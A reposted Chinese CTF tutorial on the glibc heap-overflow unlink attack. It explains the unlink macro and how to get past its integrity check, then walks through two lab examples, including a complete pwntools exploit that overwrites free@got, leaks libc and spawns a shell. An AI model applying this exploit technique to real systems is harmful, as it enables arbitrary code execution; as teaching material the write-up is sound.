【PWN】堆溢出攻击-unlink

admin 2024年1月7日22:12:51评论36 views字数 4315阅读14分23秒阅读模式

这个攻击主要利用了堆在处理chunkfree操作之后会合并相邻的空闲chunk的行为,当执行合并操作的时候会调用unlink操作将chunkbins的链表中剥离。

前置知识

chunk块的结构如下(暂时不考虑fd_nextsizebk_nextsize):

【PWN】堆溢出攻击-unlink

在早版本的libc中,unlink的宏定义为:

/* Take a chunk off a bin list */
#define unlink(P, BK, FD) {  
  FD = P->fd;             
  BK = P->bk;             
  FD->bk = BK;            
  BK->fd = FD;            
}

用图来表示就是:

【PWN】堆溢出攻击-unlink

所以,只要能控制某一个将要执行unlink操作的chunk,将其fd置为free@got - 0xCbk置为shellcode,则:

  1. FD = P->fd, FD = free@got - 0xC
  2. BK = P->bk, BK = shellcode
  3. FD->bk = BK, free@got - 0xC + 0xC = shellcode
  4. BK->fd = FD, shellcode + 0x8 = free@got - 0xC

这样等同于修改了free函数的got表,在下一次执行free的时候就会跳转到shellcode的位置上。

但是在目前的libc中,在执行unlink前都会进行安全校验,具体看宏定义:

/* Take a chunk off a bin list */
#define unlink(P, BK, FD) {         
    FD = P->fd;              
    BK = P->bk;              
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))        
      malloc_printerr (check_action, "corrupted double-linked list", P);      
    else {                  
        FD->bk = BK;          
        BK->fd = FD;          
        ...

    }                       
}

进行__builtin_expect (FD->bk != P || BK->fd != P, 0)判断,即判断FD->bkBK->fd是否都相等,且都等于P

这种也可以绕过,条件为:

  • 程序中存在一个全局指针变量 ptr
  • ptr 指向的堆内存可由用户控制

例题

1、后向合并

32位程序,源代码如下:

#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]){
    char *first, *second;
    first = malloc(666);
    second = malloc(12);
    if (argc != 1)
        strcpy(first, argv[1]);
    free(first);
    free(second);
    return 0;
}

程序中明显存在堆溢出,因为argv[1]的大小是不可控制的,可以一直溢出到second

secondprev_size字段溢出成偶数,size字段溢出成-4

然后执行free(first),堆管理器会去查找first这个chunk前后有没有空闲的chunk块,而判断second是否在使用的标志是second的下一个chunkprev_inuse标志是否为1。

由于secondsize字段为-4,所以堆管理器找到的下一个chunk的地址为second + (-0x4),暂时把这个虚构的chunk称为temptemp会把secondprev_size当成自己的size字段,为偶数,表示前一个chunk(即second)是空闲状态,故会执行unlink操作。

通过修改secondfdbk指针,可以实现将freegot表修改为one_gadget的地址,等到执行第二次free操作时触发。

(有点乱,希望之后我还能看得懂)

2、前向合并

题目链接:https://github.com/0x4C43/Linux-Exploit/tree/master/heap_unlink

IDApro打开:

【PWN】堆溢出攻击-unlink

典型的增删改查程序,溢出点在set函数:

【PWN】堆溢出攻击-unlink

很明显的缓冲区溢出。

直接给writeup

from pwn import *
context(arch="i386", os="linux")
context.log_level = "debug"

p = process("./heap")
elf = ELF("./heap")
libc = elf.libc

def add(length):
    p.sendlineafter(b"5.Exitn"b"1")
    p.sendlineafter(b"Input the size of chunk you want to add:", length.encode("latin-1"))

def edit(index, data):
    p.sendlineafter(b"5.Exitn"b"2")
    p.sendlineafter(b"Set chunk index:", index.encode("latin-1"))
    p.sendlineafter(b"Set chunk data:", data)

def delete(index):
    p.sendlineafter(b"5.Exitn"b"3")
    p.sendlineafter(b"Delete chunk index:", index.encode("latin-1"))

def detail(index):
    p.sendlineafter(b"5.Exitn"b"4")
    p.sendlineafter(b"Print chunk index:", index.encode("latin-1"))


add("120")
add("120")
add("120")
add("120")
edit("3"b"/bin/shx00")

fd = 0x8049d60 - 0xc
bk = 0x8049d60 - 0x8
payload = p32(0) + p32(0x79) + p32(fd) + p32(bk) + b"a" * 0x68 + p32(0x78) + p32(0x80)
edit("0", payload)

delete("1")

free_got = elf.got["free"]
payload = b"a" * 0xC + p32(free_got)
edit("0", payload)

detail("0")
libc.address = u32(p.recv(4)) - libc.sym["free"]
log.success("{}:{:#x}".format("libc.address", libc.address))

system_addr = libc.sym["system"]
edit("0", p32(system_addr))

delete("3")

p.interactive()

首先,利用add函数创建了4个大小为0x78的堆块,但是由于prev_sizesize的存在,实际的堆块大小为0x78 + 0x8 = 0x80

【PWN】堆溢出攻击-unlink

chunk0内构造一个可控的chunk P,具体:

fd = 0x8049d60 - 0xc
bk = 0x8049d60 - 0x8
payload = p32(0) + p32(0x79) + p32(fd) + p32(bk) + b"a" * 0x68 + p32(0x78) + p32(0x80)
edit("0", payload)

其中0x8049d60是存储堆块地址的数组首地址。

通过这个操作,得到四个chunk的内容如下:【PWN】堆溢出攻击-unlink

chunk 1prev_sizesize覆盖成0x780x80,此时堆管理器会将虚构的chunk P执行unlink操作,可以看到payload中的chunk Pfdbk指针经过构造成功绕过安全校验。执行delete("1"),将chunk 1执行free操作,堆管理器会将chunk P执行unlink操作,具体的操作如下:

*(0x8049d60 - 0xc + 0xc) = 0x8049d60 - 0x8
*(0x8049d60 - 0x8 + 0x8) = 0x8049d60 - 0xc

最终就是堆块首地址,也就是chunk 0的地址被修改为0x8049d60 - 0xc。此时如果再次编辑chunk 0,写入的payload为:

free_got = elf.got["free"]
payload = b"a" * 0xC + p32(free_got)
edit("0", payload)

覆盖堆块数组的首地址为free@got的地址,然后可以使用查看操作得到chunk 0地址的值,也就是free@got的值,达到leaklibc基地址的目的。

detail("0")
libc.address = u32(p.recv(4)) - libc.sym["free"]
log.success("{}:{:#x}".format("libc.address", libc.address))

再次对chunk 0执行edit操作,将free@got修改为system的地址,由于之前在chunk 3读入了字符串/bin/shx00,最后执行delete("3"),达到getshell的目的。

edit("3"b"/bin/shx00")

system_addr = libc.sym["system"]
edit("0", p32(system_addr))

delete("3")

最终

【PWN】堆溢出攻击-unlink

参考链接

  • linux堆溢出-unlink:http://0x4c43.cn/2017/1231/linux-heap-memory-overflow-unlink-attack/
  • 《CTF那些事儿》

原文始发于微信公众号(Stack0verf1ow):【PWN】堆溢出攻击-unlink

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月7日22:12:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PWN】堆溢出攻击-unlinkhttps://cn-sec.com/archives/2347796.html

发表评论

匿名网友 填写信息